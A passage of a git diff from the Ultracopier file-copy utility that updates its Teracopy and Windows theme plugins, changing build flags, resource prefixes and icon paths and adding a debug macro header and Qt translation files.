+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
+ #endif
+ //set the transfer list
+ /*void removeItems(QList<int> ids);
+ void moveItemsOnTop(QList<int> ids);
+ void moveItemsUp(QList<int> ids);
+ void moveItemsDown(QList<int> ids);
+ void moveItemsOnBottom(QList<int> ids);
+ void exportTransferList();
+ void importTransferList();
+ //user ask ask to add folder (add it with interface ask source/destination)
+ void userAddFolder(Ultracopier::CopyMode);
+ void userAddFile(Ultracopier::CopyMode);
+ void urlDropped(QList<QUrl> urls);
+ //action on the copy
+ void pause();
+ void resume();
+ void skip(quint64 id);
+ void cancel();
+ //edit the action
+ void sendCollisionAction(QString action);
+ void sendErrorAction(QString action);
+ void newSpeedLimitation(qint64);*/
public slots:
- //set the translate
- void newLanguageLoaded();
- void getActionOnList(const QList<returnActionOnCopyList>& returnActions);
+ //set the translate
+ void newLanguageLoaded();
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
};
-#endif // INTERFACE_TEST_H
+#endif // INTERFACE_H
diff --git a/plugins-alternative/Themes/Teracopy/interface.pro b/plugins-alternative/Themes/Teracopy/interface.pro
index 4cecacb..5049e19 100644
--- a/plugins-alternative/Themes/Teracopy/interface.pro
+++ b/plugins-alternative/Themes/Teracopy/interface.pro
@@ -1,8 +1,12 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
TEMPLATE = lib
CONFIG += plugin
HEADERS = interface.h \
- interface/PluginInterface_Themes.h \
- StructEnumDefinition.h \
+ StructEnumDefinition.h \
factory.h \
DebugEngineMacro.h \
Environment.h \
@@ -13,24 +17,25 @@ SOURCES = interface.cpp \
factory.cpp \
TransferModel.cpp
TARGET = $$qtLibraryTarget(interface)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
+TRANSLATIONS += Languages/ar/translation.ts \
Languages/de/translation.ts \
Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
Languages/it/translation.ts \
Languages/ja/translation.ts \
- Languages/id/translation.ts \
+ Languages/ko/translation.ts \
+ Languages/nl/translation.ts \
+ Languages/no/translation.ts \
Languages/pl/translation.ts \
Languages/ru/translation.ts \
- Languages/tr/translation.ts \
Languages/th/translation.ts \
- Languages/hi/translation.ts \
- Languages/nl/translation.ts \
- Languages/no/translation.ts \
- Languages/pt/translation.ts \
- Languages/ko/translation.ts
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
RESOURCES += resources.qrc
diff --git a/plugins-alternative/Themes/Teracopy/interface.ui b/plugins-alternative/Themes/Teracopy/interface.ui
index 1bccf44..a5274b3 100644
--- a/plugins-alternative/Themes/Teracopy/interface.ui
+++ b/plugins-alternative/Themes/Teracopy/interface.ui
@@ -27,7 +27,7 @@
</property>
<property name="windowIcon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/main.png</normaloff>:/resources/main.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/main.png</normaloff>:/Themes/Teracopy/resources/main.png</iconset>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
<property name="spacing">
@@ -302,7 +302,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFile">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Add file</string>
@@ -311,7 +311,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFolder">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Add folder</string>
@@ -320,7 +320,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFileToMove">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Move file(s)</string>
@@ -329,7 +329,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFolderToMove">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Move folder</string>
@@ -338,7 +338,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFileToCopy">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy file(s)</string>
@@ -347,7 +347,7 @@ p, li { white-space: pre-wrap; }
<action name="actionAddFolderToCopy">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Teracopy/resources/add.png</normaloff>:/Themes/Teracopy/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy folder</string>
diff --git a/plugins-alternative/Themes/Teracopy/plugin.json b/plugins-alternative/Themes/Teracopy/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins-alternative/Themes/Teracopy/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins-alternative/Themes/Teracopy/resources.qrc b/plugins-alternative/Themes/Teracopy/resources.qrc
index 7f9a82c..39105a8 100644
--- a/plugins-alternative/Themes/Teracopy/resources.qrc
+++ b/plugins-alternative/Themes/Teracopy/resources.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Teracopy">
<file>resources/SystemTrayIcon/add.png</file>
<file>resources/SystemTrayIcon/exit.png</file>
<file>resources/SystemTrayIcon/informations.png</file>
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/add.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/add.png
index 1e03be9..7932127 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/add.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/add.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/exit.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/exit.png
index 201353e..ae3c4e8 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/exit.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/exit.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/informations.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/informations.png
index e1eb797..5b7b255 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/informations.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/informations.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/options.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/options.png
index d35365c..23ec531 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/options.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/options.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Unix.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Unix.png
index a81e70d..6f5d1cf 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Unix.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Windows.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Windows.png
index 8072aea..5464856 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Windows.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Caught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
index f40ea82..3961215 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
index 8d673e4..45d6315 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Unix.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Unix.png
index 9ce4779..ac4299a 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Unix.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Windows.png b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Windows.png
index d0fca1b..6e6bae7 100644
--- a/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Windows.png
+++ b/plugins-alternative/Themes/Teracopy/resources/SystemTrayIcon/systray_Uncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/checkbox.png b/plugins-alternative/Themes/Teracopy/resources/checkbox.png
index 1c311e2..f7f4388 100644
--- a/plugins-alternative/Themes/Teracopy/resources/checkbox.png
+++ b/plugins-alternative/Themes/Teracopy/resources/checkbox.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/main.png b/plugins-alternative/Themes/Teracopy/resources/main.png
index 8072aea..5464856 100644
--- a/plugins-alternative/Themes/Teracopy/resources/main.png
+++ b/plugins-alternative/Themes/Teracopy/resources/main.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/player_pause.png b/plugins-alternative/Themes/Teracopy/resources/player_pause.png
index a9b3113..68ee21f 100644
--- a/plugins-alternative/Themes/Teracopy/resources/player_pause.png
+++ b/plugins-alternative/Themes/Teracopy/resources/player_pause.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources/player_play.png b/plugins-alternative/Themes/Teracopy/resources/player_play.png
index 80ff3a1..a1c5b83 100644
--- a/plugins-alternative/Themes/Teracopy/resources/player_play.png
+++ b/plugins-alternative/Themes/Teracopy/resources/player_play.png
Binary files differ
diff --git a/plugins-alternative/Themes/Teracopy/resources_unix.qrc b/plugins-alternative/Themes/Teracopy/resources_unix.qrc
index ae3894b..46e3020 100644
--- a/plugins-alternative/Themes/Teracopy/resources_unix.qrc
+++ b/plugins-alternative/Themes/Teracopy/resources_unix.qrc
@@ -1,6 +1,6 @@
<RCC>
- <qresource prefix="/">
- <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
+ <qresource prefix="/Themes/Teracopy">
+ <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Unix.png</file>
</qresource>
diff --git a/plugins-alternative/Themes/Teracopy/resources_windows.qrc b/plugins-alternative/Themes/Teracopy/resources_windows.qrc
index 99829b3..165123a 100644
--- a/plugins-alternative/Themes/Teracopy/resources_windows.qrc
+++ b/plugins-alternative/Themes/Teracopy/resources_windows.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Teracopy">
<file>resources/SystemTrayIcon/systray_Caught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Windows.png</file>
diff --git a/plugins-alternative/Themes/Windows/DebugEngineMacro.h b/plugins-alternative/Themes/Windows/DebugEngineMacro.h
new file mode 100644
index 0000000..4582010
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/DebugEngineMacro.h
@@ -0,0 +1,28 @@
+/** \file DebugEngineMacro.h
+\brief Define the macro for the debug
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef DEBUGENGINEMACRO_H
+#define DEBUGENGINEMACRO_H
+
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
+/// \brief Macro for the debug log
+#ifdef ULTRACOPIER_PLUGIN_DEBUG
+ #if defined (__FILE__) && defined (__LINE__)
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) emit debugInformation(a,__func__,b,__FILE__,__LINE__)
+ #else
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) emit debugInformation(a,__func__,b)
+ #endif
+#else // ULTRACOPIER_DEBUG
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) void()
+#endif // ULTRACOPIER_DEBUG
+
+#endif // DEBUGENGINEMACRO_H
+
+
+
+
diff --git a/plugins-alternative/Themes/Windows/Environment.h b/plugins-alternative/Themes/Windows/Environment.h
new file mode 100644
index 0000000..265a5a6
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Environment.h
@@ -0,0 +1,10 @@
+/** \file Environment.h
+\brief Define the environment variable and global function
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include "Variable.h"
+/// \brief The global include
+#include "StructEnumDefinition.h"
+#include "DebugEngineMacro.h"
+
diff --git a/plugins-alternative/Themes/Windows/Languages/ar/translation.ts b/plugins-alternative/Themes/Windows/Languages/ar/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/ar/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/de/translation.ts b/plugins-alternative/Themes/Windows/Languages/de/translation.ts
new file mode 100644
index 0000000..7657f03
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/de/translation.ts
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="de" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation>Verbleibende Zeit unbekannt</translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Übertrage %n Element (%2)</numerusform>
+ <numerusform>Übertrage %n Elemente (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Kopiere %n Element (%2)</numerusform>
+ <numerusform>Kopiere %n Elemente (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Verschiebe %n Element (%2)</numerusform>
+ <numerusform>Verschiebe %n Elemente (%2)</numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation>von &lt;b&gt;%1&lt;/b&gt; (%2) bis &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation>Warten...</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation>Name:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation>Von:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation>Nach:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation>verbleibende Zeit:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation>verbleibende Elemente:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation>Geschwindigkeit:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation>Mehr Informationen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation>Abbrechen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Datei hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Ordner hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Datei (en) verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Ordner verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Datei (en) kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Ordner kopieren</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/el/translation.ts b/plugins-alternative/Themes/Windows/Languages/el/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/el/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/en/translation.ts b/plugins-alternative/Themes/Windows/Languages/en/translation.ts
new file mode 100644
index 0000000..27cfd09
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/en/translation.ts
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Transferring %n item (%2)</numerusform>
+ <numerusform>Transferring %n items (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Copying %n item (%2)</numerusform>
+ <numerusform>Copying %n items (%2)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation>
+ <numerusform>Moving %n item (%2)</numerusform>
+ <numerusform>Moving %n items (%2)</numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
